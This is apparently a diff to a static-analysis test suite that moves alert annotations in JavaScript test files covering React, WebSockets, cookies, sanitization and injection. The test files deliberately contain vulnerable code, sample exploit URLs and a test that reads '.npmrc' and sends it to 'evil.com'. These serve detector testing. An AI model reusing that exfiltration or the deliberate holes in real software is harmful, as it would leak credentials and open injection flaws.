constructor() { var cmp = this; cmp.state.p1 = 42; @@ -31,9 +31,9 @@ class Writes extends React.Component { state = { p7: 42 }; -} // $ reactComponent +} -React.createClass({ +React.createClass({ // $ reactComponent render: function() { return
Hello {this.props.name}
; // $ threatModelSource=view-component-input }, @@ -42,4 +42,4 @@ React.createClass({ p8: 42 }; } -}); // $ reactComponent +}); diff --git a/javascript/ql/test/library-tests/frameworks/ReactJS/thisAccesses.js b/javascript/ql/test/library-tests/frameworks/ReactJS/thisAccesses.js index c30509974d4e..b6e249c9cbc9 100644 --- a/javascript/ql/test/library-tests/frameworks/ReactJS/thisAccesses.js +++ b/javascript/ql/test/library-tests/frameworks/ReactJS/thisAccesses.js @@ -1,4 +1,4 @@ -class C extends React.Component { +class C extends React.Component { // $ reactComponent constructor () { this; @@ -13,9 +13,9 @@ class C extends React.Component { someInstanceMethod() { this; } -} // $ reactComponent +} -React.createClass({ +React.createClass({ // $ reactComponent render: function() { (function () { this; @@ -26,32 +26,32 @@ React.createClass({ someInstanceMethod: function() { this; } -}); // $ reactComponent +}); -(function (props) { // $ threatModelSource=view-component-input +(function (props) { // $ threatModelSource=view-component-input reactComponent (function () { this; props; }).bind(this); return
; -}) // $ reactComponent +}) -React.createClass({ +React.createClass({ // $ reactComponent render: function() { React.Children.map(whatEver, function () { this; }, this) return
; }, -}); // $ reactComponent +}); -class C2 extends React.Component { +class C2 extends React.Component { // $ reactComponent constructor (y) { // $ threatModelSource=view-component-input this.state = x; this.state = y; } -} // $ reactComponent +} -class C3 extends React.Component { +class C3 extends React.Component { // $ reactComponent constructor() { } @@ -60,4 +60,4 @@ class C3 extends React.Component { var foo = ; var bar = ; } -} // $ reactComponent +} diff --git a/javascript/ql/test/library-tests/frameworks/ReactJS/thisAccesses_importedMappers.js b/javascript/ql/test/library-tests/frameworks/ReactJS/thisAccesses_importedMappers.js index abbbdd844ed0..984560fc342c 100644 --- a/javascript/ql/test/library-tests/frameworks/ReactJS/thisAccesses_importedMappers.js +++ b/javascript/ql/test/library-tests/frameworks/ReactJS/thisAccesses_importedMappers.js @@ -1,7 +1,7 @@ import React from 'react'; import _ from 'lodash'; -React.createClass({ +React.createClass({ // $ reactComponent render: function() { React.Children.map(whatEver, function () { this; @@ -12,4 +12,4 @@ React.createClass({ return
; }, -}); // $ reactComponent +}); diff --git a/javascript/ql/test/library-tests/frameworks/WebSocket/browser-custom.js b/javascript/ql/test/library-tests/frameworks/WebSocket/browser-custom.js index f7ac5b0f4fe3..bcb2cb6de317 100644 --- a/javascript/ql/test/library-tests/frameworks/WebSocket/browser-custom.js +++ b/javascript/ql/test/library-tests/frameworks/WebSocket/browser-custom.js @@ -7,13 +7,13 @@ import { MyWebSocket, MySockJS, myWebSocketInstance, mySockJSInstance } from './ socket.send('Hi from browser!'); // $ clientSend }); - socket.addEventListener('message', function (event) { + socket.addEventListener('message', function (event) { // $ clientReceive console.log('Message from server ', event.data); // $ remoteFlow - }); // $ clientReceive + }); - socket.onmessage = function (event) { + socket.onmessage = function (event) { // $ clientReceive console.log("Message from server 2", event.data); // $ remoteFlow - }; // $ clientReceive + }; })(); @@ -23,14 +23,14 @@ import { MyWebSocket, MySockJS, myWebSocketInstance, mySockJSInstance } from './ sock.send('test'); // $ clientSend }; - sock.onmessage = function (e) { + sock.onmessage = function (e) { // $ clientReceive console.log('message', e.data); // $ remoteFlow sock.close(); - }; // $ clientReceive + }; - sock.addEventListener('message', function (event) { + sock.addEventListener('message', function (event) { // $ clientReceive console.log('Using addEventListener ', event.data); // $ remoteFlow - }); // $ clientReceive + }); })(); @@ -39,13 +39,13 @@ import { MyWebSocket, MySockJS, myWebSocketInstance, mySockJSInstance } from './ myWebSocketInstance.send('Hi from browser!'); // $ clientSend }); - myWebSocketInstance.addEventListener('message', function (event) { + myWebSocketInstance.addEventListener('message', function (event) { // $ clientReceive console.log('Message from server ', event.data); // $ remoteFlow - }); // $ clientReceive + }); - myWebSocketInstance.onmessage = function (event) { + myWebSocketInstance.onmessage = function (event) { // $ clientReceive console.log("Message from server 2", event.data); // $ remoteFlow - }; // $ clientReceive + }; })(); @@ -54,20 +54,20 @@ import { MyWebSocket, MySockJS, myWebSocketInstance, mySockJSInstance } from './ mySockJSInstance.send('test'); // $ clientSend }; - mySockJSInstance.onmessage = function (e) { + mySockJSInstance.onmessage = function (e) { // $ clientReceive console.log('message', e.data); // $ remoteFlow mySockJSInstance.close(); - }; // $ clientReceive + }; - mySockJSInstance.addEventListener('message', function (event) { + mySockJSInstance.addEventListener('message', function (event) { // $ clientReceive console.log('Using addEventListener ', event.data); // $ remoteFlow - }); // $ clientReceive + }); })(); -const recv_message = function (e) { +const recv_message = function (e) { // $ clientReceive console.log('Received message:', e.data); // $ remoteFlow -}; // $ clientReceive +}; (function () { myWebSocketInstance.onmessage = recv_message.bind(this); diff --git a/javascript/ql/test/library-tests/frameworks/WebSocket/browser.js b/javascript/ql/test/library-tests/frameworks/WebSocket/browser.js index f1063ff638da..26a209f77be0 100644 --- a/javascript/ql/test/library-tests/frameworks/WebSocket/browser.js +++ b/javascript/ql/test/library-tests/frameworks/WebSocket/browser.js @@ -5,13 +5,13 @@ socket.send('Hi from browser!'); // $ clientSend }); - socket.addEventListener('message', function (event) { + socket.addEventListener('message', function (event) { // $ clientReceive console.log('Message from server ', event.data); // $ remoteFlow - }); // $ clientReceive + }); - socket.onmessage = function (event) { + socket.onmessage = function (event) { // $ clientReceive console.log("Message from server 2", event.data); // $ remoteFlow - }; // $ clientReceive + }; })(); @@ -21,14 +21,14 @@ sock.send('test'); // $ clientSend }; - sock.onmessage = function (e) { + sock.onmessage = function (e) { // $ clientReceive console.log('message', e.data); // $ remoteFlow sock.close(); - }; // $ clientReceive + }; - sock.addEventListener('message', function (event) { + sock.addEventListener('message', function (event) { // $ clientReceive console.log('Using addEventListener ', event.data); // $ remoteFlow - }); // $ clientReceive + }); })(); export const MyWebSocket = WebSocket; diff --git a/javascript/ql/test/library-tests/frameworks/WebSocket/client-custom.js b/javascript/ql/test/library-tests/frameworks/WebSocket/client-custom.js index 24eeebdb4ccf..b91d004d0665 100644 --- a/javascript/ql/test/library-tests/frameworks/WebSocket/client-custom.js +++ b/javascript/ql/test/library-tests/frameworks/WebSocket/client-custom.js @@ -7,9 +7,9 @@ const { MyWebSocketWS, myWebSocketWSInstance } = require('./client.js'); ws.send('Hi from client!'); // $ clientSend }); - ws.on('message', function incoming(data) { // $ remoteFlow + ws.on('message', function incoming(data) { // $ remoteFlow clientReceive console.log(data); - }); // $ clientReceive + }); })(); (function () { @@ -17,7 +17,7 @@ const { MyWebSocketWS, myWebSocketWSInstance } = require('./client.js'); myWebSocketWSInstance.send('Hi from client!'); // $ clientSend }); - myWebSocketWSInstance.on('message', function incoming(data) { // $ remoteFlow + myWebSocketWSInstance.on('message', function incoming(data) { // $ remoteFlow clientReceive console.log(data); - }); // $ clientReceive + }); })(); diff --git a/javascript/ql/test/library-tests/frameworks/WebSocket/client.js b/javascript/ql/test/library-tests/frameworks/WebSocket/client.js index 89d31052fd74..43bdce863a9a 100644 --- a/javascript/ql/test/library-tests/frameworks/WebSocket/client.js +++ b/javascript/ql/test/library-tests/frameworks/WebSocket/client.js @@ -7,9 +7,9 @@ const WebSocket = require('ws'); ws.send('Hi from client!'); // $ clientSend }); - ws.on('message', function incoming(data) { // $ remoteFlow + ws.on('message', function incoming(data) { // $ remoteFlow clientReceive console.log(data); - }); // $ clientReceive + }); })(); module.exports.MyWebSocketWS = require('ws'); diff --git a/javascript/ql/test/library-tests/frameworks/WebSocket/server-custom.js b/javascript/ql/test/library-tests/frameworks/WebSocket/server-custom.js index 65d49c0d73ee..b509f3767c0b 100644 --- a/javascript/ql/test/library-tests/frameworks/WebSocket/server-custom.js +++ b/javascript/ql/test/library-tests/frameworks/WebSocket/server-custom.js @@ -4,9 +4,9 @@ const { MyWebSocketServer, myWebSocketServerInstance } = require('./server.js'); const wss = new MyWebSocketServer({ port: 8080 }); wss.on('connection', function connection(ws) { // $ serverSocket - ws.on('message', function incoming(message) { // $ remoteFlow + ws.on('message', function incoming(message) { // $ remoteFlow serverReceive console.log('received: %s', message); - }); // $ serverReceive + }); ws.send('Hi from server!'); // $ serverSend }); @@ -14,9 +14,9 @@ const { MyWebSocketServer, myWebSocketServerInstance } = require('./server.js'); (function () { myWebSocketServerInstance.on('connection', function connection(ws) { // $ serverSocket - ws.on('message', function incoming(message) { // $ remoteFlow + ws.on('message', function incoming(message) { // $ remoteFlow serverReceive console.log('received: %s', message); - }); // $ serverReceive + }); ws.send('Hi from server!'); // $ serverSend }); diff --git a/javascript/ql/test/library-tests/frameworks/WebSocket/server.js b/javascript/ql/test/library-tests/frameworks/WebSocket/server.js index 44e0068a5377..6a5ff25aff81 100644 --- a/javascript/ql/test/library-tests/frameworks/WebSocket/server.js +++ b/javascript/ql/test/library-tests/frameworks/WebSocket/server.js @@ -4,9 +4,9 @@ const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 8080 }); wss.on('connection', function connection(ws) { // $ serverSocket - ws.on('message', function incoming(message) { // $ remoteFlow + ws.on('message', function incoming(message) { // $ remoteFlow serverReceive console.log('received: %s', message); - }); // $ serverReceive + }); ws.send('Hi from server!'); // $ serverSend }); diff --git a/javascript/ql/test/library-tests/frameworks/WebSocket/sockjs.js b/javascript/ql/test/library-tests/frameworks/WebSocket/sockjs.js index ae8e8285ef47..108114b9e7ca 100644 --- a/javascript/ql/test/library-tests/frameworks/WebSocket/sockjs.js +++ b/javascript/ql/test/library-tests/frameworks/WebSocket/sockjs.js @@ -6,10 +6,10 @@ const app = express(); const server = http.createServer(app); const sockjs_echo = sockjs.createServer({}); sockjs_echo.on('connection', function (conn) { // $ serverSocket - conn.on('data', function (message) { // $ remoteFlow + conn.on('data', function (message) { // $ remoteFlow serverReceive var data = JSON.parse(message); conn.write(JSON.stringify(eval(data.test))); // $ serverSend - }); // $ serverReceive + }); }); sockjs_echo.installHandlers(server, { prefix: '/echo' }); diff --git a/javascript/ql/test/query-tests/AngularJS/InsecureUrlWhitelist/tst.js b/javascript/ql/test/query-tests/AngularJS/InsecureUrlWhitelist/tst.js index 1ee742c6d6a2..2cfa2dc47a03 100644 --- a/javascript/ql/test/query-tests/AngularJS/InsecureUrlWhitelist/tst.js +++ b/javascript/ql/test/query-tests/AngularJS/InsecureUrlWhitelist/tst.js @@ -1,6 +1,6 @@ angular.module('myApp', []) .config(function($sceDelegateProvider) { - $sceDelegateProvider.resourceUrlWhitelist([ + $sceDelegateProvider.resourceUrlWhitelist([ // $ Alert "**://example.com/*", // $ RelatedLocation - (exploit: http://evil.com/?ignore=://example.org/a or javascript:alert(1);://example.org/a) "*://example.org/*", // $ RelatedLocation - (exploit: javascript://example.org/a%0A%0Dalert(1) using a linebreak to end the comment starting with "//"!) "https://**.example.com/*", // $ RelatedLocation - exploit: https://evil.com/?ignore=://example.com/a @@ -20,5 +20,5 @@ angular.module('myApp', []) // not flagged: /http:\/\/www.example.org/g // $ MISSING: RelatedLocation - (exploit http://wwwaexample.org (dots are not escaped)) - ]); // $ Alert + ]); }); diff --git a/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/tst2.js b/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/tst2.js index 2bbfa1d19931..a7e4719c752b 100644 --- a/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/tst2.js +++ b/javascript/ql/test/query-tests/Declarations/UniquePropertyNames/tst2.js @@ -1,13 +1,13 @@ var o = { x: 42, - getX: function() { + getX: function() { // $ Alert return this.x; - }, // $ Alert + }, - setX: function(x) { + setX: function(x) { // $ Alert this.x = x; - }, // $ Alert + }, getX: function() { return this.x; diff --git a/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.js b/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.js index e002845d7995..11814997c208 100644 --- a/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.js +++ b/javascript/ql/test/query-tests/Electron/NodeIntegration/EnablingNodeIntegration.js @@ -2,29 +2,29 @@ const {BrowserWindow} = require('electron') function test() { var unsafe_1 = { // both enabled - webPreferences: { + webPreferences: { // $ Alert nodeIntegration: true, nodeIntegrationInWorker: true, plugins: true, webSecurity: true, sandbox: true - } // $ Alert + } }; var options_1 = { // `nodeIntegrationInWorker` enabled - webPreferences: { + webPreferences: { // $ Alert plugins: true, nodeIntegrationInWorker: false, webSecurity: true, sandbox: true - } // $ Alert + } }; - var pref = { // implicitly enabled + var pref = { // $ Alert // implicitly enabled plugins: true, webSecurity: true, sandbox: true - }; // $ Alert + }; var options_2 = { webPreferences: pref, diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/foreach.js b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/foreach.js index 2f22bc5dce39..1a3290cfb61c 100644 --- a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/foreach.js +++ b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/foreach.js @@ -1,8 +1,8 @@ var sum = 0; var obj = {prop1: 5, prop2: 13, prop3: 8}; -for each (var item in obj) { +for each (var item in obj) { // $ Alert sum += item; -} // $ Alert +} console.log(sum); // logs "26", which is 5+13+8 diff --git a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/letStmt.js b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/letStmt.js index 3b62e7f0d14c..a61b54258b4f 100644 --- a/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/letStmt.js +++ b/javascript/ql/test/query-tests/LanguageFeatures/ExpressionClosures/letStmt.js @@ -1,7 +1,7 @@ var x = 42, y = 19; -let (x = 23, y = 19) { +let (x = 23, y = 19) { // $ Alert console.log(x + y); -} // $ Alert +} console.log(x - y); diff --git a/javascript/ql/test/query-tests/React/InconsistentStateUpdate/tst.js b/javascript/ql/test/query-tests/React/InconsistentStateUpdate/tst.js index 0c73d7ef0772..f8c9ec1557ec 100644 --- a/javascript/ql/test/query-tests/React/InconsistentStateUpdate/tst.js +++ b/javascript/ql/test/query-tests/React/InconsistentStateUpdate/tst.js @@ -25,88 +25,88 @@ class C3 extends React.Component { class C4 extends React.Component { upd8() { - this.setState({ + this.setState({ // $ Alert counter: this.state.foo - }); // $ Alert + }); } } class C5 extends React.Component { upd8() { - this.setState({ + this.setState({ // $ Alert foo: { bar: this.state.foo.bar } - }); // $ Alert + }); } } class C7 extends React.Component { upd8a() { - this.setState({ + this.setState({ // $ Alert foo: this.state.foo - }); // $ Alert + }); } upd8b() { - this.setState({ + this.setState({ // $ Alert foo: this.state.foo - }); // $ Alert + }); } } class C8 extends React.Component { upd8a() { - this.setState({ + this.setState({ // $ Alert foo: this.state.foo + 1 - }); // $ Alert + }); } upd8b() { - this.setState({ + this.setState({ // $ Alert foo: this.state.foo + 1 - }); // $ Alert + }); } } class C9 extends React.Component { upd8a() { - this.setState({ + this.setState({ // $ Alert foo: { bar: this.state.foo.bar } - }); // $ Alert + }); } upd8b() { - this.setState({ + this.setState({ // $ Alert foo: { bar: this.state.foo.bar } - }); // $ Alert + }); } } class C10 extends React.Component { upd8a() { - this.setState({ + this.setState({ // $ Alert foo: this.state.foo, bar: this.state.bar // OK - ignored because it is safe in practice - }); // $ Alert + }); } upd8b() { - this.setState({ + this.setState({ // $ Alert foo: this.state.foo - }); // $ Alert + }); } } class C11 extends React.Component { upd8a() { var self = this; - self.setState({ + self.setState({ // $ Alert foo: self.state.foo - }); // $ Alert + }); } upd8b() { - this.setState({ + this.setState({ // $ Alert foo: this.state.foo - }); // $ Alert + }); } } diff --git a/javascript/ql/test/query-tests/React/UnsupportedStateUpdateInLifecycleMethod/tst.js b/javascript/ql/test/query-tests/React/UnsupportedStateUpdateInLifecycleMethod/tst.js index 41dcc713ceb1..8de46bd5ad58 100644 --- a/javascript/ql/test/query-tests/React/UnsupportedStateUpdateInLifecycleMethod/tst.js +++ b/javascript/ql/test/query-tests/React/UnsupportedStateUpdateInLifecycleMethod/tst.js @@ -105,9 +105,9 @@ React.createClass({ // eslint examples React.createClass({ componentDidUpdate: function() { - this.setState({ + this.setState({ // $ Alert name: this.props.name.toUpperCase() - }); // $ Alert + }); }, render: function() { return
Hello {this.state.name}
; @@ -115,9 +115,9 @@ React.createClass({ }); React.createClass({ componentWillUpdate: function() { - this.setState({ + this.setState({ // $ Alert name: this.props.name.toUpperCase() - }); // $ Alert + }); }, render: function() { return
Hello {this.state.name}
; diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.js b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.js index 964b9d23b0e9..6ea5c667fad8 100644 --- a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.js +++ b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.js @@ -107,9 +107,9 @@ function test14(url) { } function chain1(url) { - return url + return url // $ Alert .replace(/javascript:/, "") - .replace(/data:/, ""); // $ Alert + .replace(/data:/, ""); } function chain2(url) { diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/tst-UntrustedDataToExternalAPI.js b/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/tst-UntrustedDataToExternalAPI.js index ece90af5215c..f1048e04045a 100644 --- a/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/tst-UntrustedDataToExternalAPI.js +++ b/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/tst-UntrustedDataToExternalAPI.js @@ -10,11 +10,11 @@ externalLib({ ...untrusted }); // $ Alert externalLib(['x', untrusted, 'y']); // $ Alert externalLib('foo', untrusted); // $ Alert externalLib({ - x: { + x: { // $ Alert y: { z: untrusted } - } // $ Alert + } }); function getDeepUntrusted() { @@ -42,4 +42,4 @@ merge({}, { // $ Alert x: untrusted, // should not be treated as individual named parameters y: untrusted, z: untrusted -}); // $ Alert +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/command-line-parameter-command-injection.js b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/command-line-parameter-command-injection.js index fe5142a0b3c8..ae51d5762ed4 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/command-line-parameter-command-injection.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/command-line-parameter-command-injection.js @@ -33,10 +33,10 @@ cp.exec("cmd.sh " + require("yargs").argv.foo); // $ Alert cp.exec("cmd.sh " + require("optimist").argv.foo); // $ Alert (function () { - var args = require('yargs') // eslint-disable-line + var args = require('yargs') // $ Source // eslint-disable-line .command('serve [port]', 'start the server', (yargs) => { }) .option('verbose', { foo: "bar" }) - .argv // $ Source + .argv cp.exec("cmd.sh " + args); // $ Alert @@ -45,9 +45,9 @@ cp.exec("cmd.sh " + require("optimist").argv.foo); // $ Alert (function () { const { - argv: { + argv: { // $ Source ...args - }, // $ Source + }, } = require('yargs') .usage('Usage: foo bar') .command(); diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/graphql.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/graphql.js index 94f540c9067f..8b05b4333700 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/graphql.js +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/graphql.js @@ -6,7 +6,7 @@ const kit = new Octokit(); app.get('/post/:id', function(req, res) { const id = req.params.id; // $ Source - const response = kit.graphql(` + const response = kit.graphql(` // $ Alert query { repository(owner: "github", name: "${id}") { object(expression: "master:foo") { @@ -16,7 +16,7 @@ app.get('/post/:id', function(req, res) { } } } - `); // $ Alert + `); }); import { graphql, withCustomRequest } from "@octokit/graphql"; @@ -79,13 +79,13 @@ app.get('/thing/:id', async function(req, res) { "Content-Type": "application/json" }, body: JSON.stringify({ - query: `{ + query: `{ // $ Alert thing { name url ${id} } - }` // $ Alert + }` }) }) diff --git a/javascript/ql/test/query-tests/Security/CWE-1004/tst-httpOnly.js b/javascript/ql/test/query-tests/Security/CWE-1004/tst-httpOnly.js index 681b3e2382a7..641aedc89e85 100644 --- a/javascript/ql/test/query-tests/Security/CWE-1004/tst-httpOnly.js +++ b/javascript/ql/test/query-tests/Security/CWE-1004/tst-httpOnly.js @@ -8,11 +8,11 @@ app.use(session({ httpOnly: true, })) -app.use(session({ +app.use(session({ // $ Alert name: 'session', keys: ['key1', 'key2'], httpOnly: false -})) // $ Alert +})) app.use(session({ name: 'session', @@ -48,11 +48,11 @@ app.use(session(sess3)) // $ Alert - It is a session cookie, name doesn't matter var flag = false var flag2 = flag -app.use(session({ +app.use(session({ // $ Alert name: 'session', keys: ['key1', 'key2'], httpOnly: flag2 -})) // $ Alert +})) app.get('/a', function (req, res, next) { res.cookie('authkey', 'value', @@ -65,20 +65,20 @@ app.get('/a', function (req, res, next) { }) app.get('/a', function (req, res, next) { - res.cookie('authkey', 'value', + res.cookie('authkey', 'value', // $ Alert { maxAge: 9000000000, httpOnly: false, secure: false - }); // $ Alert + }); res.end('ok') }) app.get('/a', function (req, res, next) { - res.cookie('authkey', 'value', + res.cookie('authkey', 'value', // $ Alert { maxAge: 9000000000 - }); // $ Alert + }); res.end('ok') }) @@ -298,11 +298,11 @@ app.use(session({ cookie: { httpOnly: true }, })) -app.use(session({ +app.use(session({ // $ Alert name: 'session', keys: ['key1', 'key2'], cookie: { httpOnly: false } -})) // $ Alert +})) app.use(session({ name: 'session', @@ -315,11 +315,11 @@ app.use(session({ // OK - httpOnly is true by default keys: ['key1', 'key2'] })) -app.use(session({ +app.use(session({ // $ Alert name: 'mycookie', keys: ['key1', 'key2'], cookie: { httpOnly: false } // It is a session cookie, name doesn't matter -})) // $ Alert +})) const http = require('http'); function test10() { diff --git a/javascript/ql/test/query-tests/Security/CWE-116/DoubleEscaping/tst.js b/javascript/ql/test/query-tests/Security/CWE-116/DoubleEscaping/tst.js index 5c31272ac5a2..4807aa4878af 100644 --- a/javascript/ql/test/query-tests/Security/CWE-116/DoubleEscaping/tst.js +++ b/javascript/ql/test/query-tests/Security/CWE-116/DoubleEscaping/tst.js @@ -1,7 +1,7 @@ function badEncode(s) { - return s.replace(/"/g, """) + return s.replace(/"/g, """) // $ Alert .replace(/'/g, "'") - .replace(/&/g, "&"); // $ Alert + .replace(/&/g, "&"); } function goodEncode(s) { @@ -65,9 +65,9 @@ function badEncode(s) { var indirect1 = /"/g; var indirect2 = /'/g; var indirect3 = /&/g; - return s.replace(indirect1, """) + return s.replace(indirect1, """) // $ Alert .replace(indirect2, "'") - .replace(indirect3, "&"); // $ Alert + .replace(indirect3, "&"); } function badEncodeWithReplacer(s) { @@ -96,9 +96,9 @@ function encodeDecodeEncode(s) { } function badEncode(s) { - return s.replace(new RegExp("\"", "g"), """) + return s.replace(new RegExp("\"", "g"), """) // $ Alert .replace(new RegExp("\'", "g"), "'") - .replace(new RegExp("&", "g"), "&"); // $ Alert + .replace(new RegExp("&", "g"), "&"); } function goodEncode(s) { diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/UnsafeHtmlExpansion.js b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/UnsafeHtmlExpansion.js index 3809bc616d7f..6cb334c62214 100644 --- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/UnsafeHtmlExpansion.js +++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/UnsafeHtmlExpansion.js @@ -3,24 +3,24 @@ let expanded = "<$1>"; // lib1 - html.replace( + html.replace( // $ Alert[js/unsafe-html-expansion] /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi, expanded - ); // $ Alert[js/unsafe-html-expansion] + ); html.replace(/<(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi, expanded); // $ Alert[js/unsafe-html-expansion] // lib2 - html.replace( + html.replace( // $ Alert[js/unsafe-html-expansion] /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi, expanded - ); // $ Alert[js/unsafe-html-expansion] + ); html.replace(/<(([\w:]+)[^>]*)\/>/gi, expanded); // $ Alert[js/unsafe-html-expansion] // lib3 - html.replace( + html.replace( // $ Alert[js/unsafe-html-expansion] /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi, expanded - ); // $ Alert[js/unsafe-html-expansion] + ); html.replace(/<(([\w:-]+)[^>]*)\/>/gi, expanded); // $ Alert[js/unsafe-html-expansion] html.replace(defaultPattern, expanded); // $ Alert[js/unsafe-html-expansion] diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst-multi-character-sanitization.js b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst-multi-character-sanitization.js index a54e61938e01..b137e33ae5bf 100644 --- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst-multi-character-sanitization.js +++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst-multi-character-sanitization.js @@ -88,11 +88,11 @@ x = x.replace(/^(\.\.\/?)+/g, ""); - x = x.replace(/)<[^<]*)*<\/script>/g, function( + x = x.replace(/)<[^<]*)*<\/script>/g, function( // $ Alert[js/incomplete-multi-character-sanitization] $0 ) { return unknown ? $0 : ""; - }); // $ Alert[js/incomplete-multi-character-sanitization] + }); x = x.replace(/<\/?([a-z][a-z0-9]*)\b[^>]*>/gi, ""); // $ MISSING: Alert @@ -122,10 +122,10 @@ x = x.replace(//g, ""); - x = x + x = x // $ Alert[js/incomplete-multi-character-sanitization] .replace(/^\.\//, "") .replace(/\/\.\//, "/") - .replace(/[^\/]*\/\.\.\//, ""); // $ Alert[js/incomplete-multi-character-sanitization] + .replace(/[^\/]*\/\.\.\//, ""); return x; }); diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst.js b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst.js index d457af27f143..2fefcb6e4c93 100644 --- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst.js +++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/tst.js @@ -306,7 +306,7 @@ function incompleteHtmlAttributeSanitization2() { } function incompleteComplexSanitizers() { - '=\'' + s().replace(/[&<>"]/gm, function (str) { + '=\'' + s().replace(/[&<>"]/gm, function (str) { // $ Alert[js/incomplete-html-attribute-sanitization] if (str === "&") return "&"; if (str === "<") @@ -315,7 +315,7 @@ function incompleteComplexSanitizers() { return ">"; if (str === "\"") return """; - }) + '\''; // $ Alert[js/incomplete-html-attribute-sanitization] + }) + '\''; '="' + s().replace(/[&<>"]/gm, function (str) { if (str === "&") diff --git a/javascript/ql/test/query-tests/Security/CWE-1275/tst-sameSite.js b/javascript/ql/test/query-tests/Security/CWE-1275/tst-sameSite.js index f697267d55d8..37efac0c01ca 100644 --- a/javascript/ql/test/query-tests/Security/CWE-1275/tst-sameSite.js +++ b/javascript/ql/test/query-tests/Security/CWE-1275/tst-sameSite.js @@ -1,11 +1,11 @@ import * as Cookies from "es-cookie"; function esCookies() { - Cookies.set("authkey", "value", { + Cookies.set("authkey", "value", { // $ Alert secure: true, httpOnly: true, sameSite: "None", - }); // $ Alert + }); Cookies.set("authkey", "value", { secure: true, @@ -17,12 +17,12 @@ function esCookies() { function browserCookies() { var cookies = require("browser-cookies"); - cookies.set("authkey", "value", { + cookies.set("authkey", "value", { // $ Alert expires: 365, secure: true, httponly: true, samesite: "None", - }); // $ Alert + }); cookies.set("authkey", "value", { expires: 365, @@ -35,12 +35,12 @@ function browserCookies() { function cookie() { var cookie = require("cookie"); - var setCookie = cookie.serialize("authkey", "value", { + var setCookie = cookie.serialize("authkey", "value", { // $ Alert maxAge: 9000000000, httpOnly: true, secure: true, sameSite: "None", - }); // $ Alert + }); var setCookie = cookie.serialize("authkey", "value", { maxAge: 9000000000, @@ -55,12 +55,12 @@ const app = express(); const session = require("cookie-session"); app.get("/a", function (req, res, next) { - res.cookie("authkey", "value", { + res.cookie("authkey", "value", { // $ Alert maxAge: 9000000000, httpOnly: true, secure: true, sameSite: "None", - }); // $ Alert + }); res.cookie("session", "value", { maxAge: 9000000000, @@ -73,13 +73,13 @@ app.get("/a", function (req, res, next) { }); app.use( - session({ + session({ // $ Alert name: "session", keys: ["key1", "key2"], httpOnly: true, secure: true, sameSite: "None", - }) // $ Alert + }) ); app.use( @@ -95,7 +95,7 @@ app.use( const expressSession = require("express-session"); app.use( - expressSession({ + expressSession({ // $ Alert name: "session", keys: ["key1", "key2"], cookie: { @@ -103,7 +103,7 @@ app.use( secure: true, sameSite: "None", }, - }) // $ Alert + }) ); app.use( diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js index cfd8b18eb852..ac2f602772fd 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js @@ -2,12 +2,12 @@ var fs = require("fs"), https = require("https"); var content = fs.readFileSync(".npmrc", "utf8"); // $ Source[js/file-access-to-http] -https.get({ +https.get({ // $ Alert[js/file-access-to-http] hostname: "evil.com", path: "/upload", method: "GET", headers: { Referer: content } -}, () => { }); // $ Alert[js/file-access-to-http] +}, () => 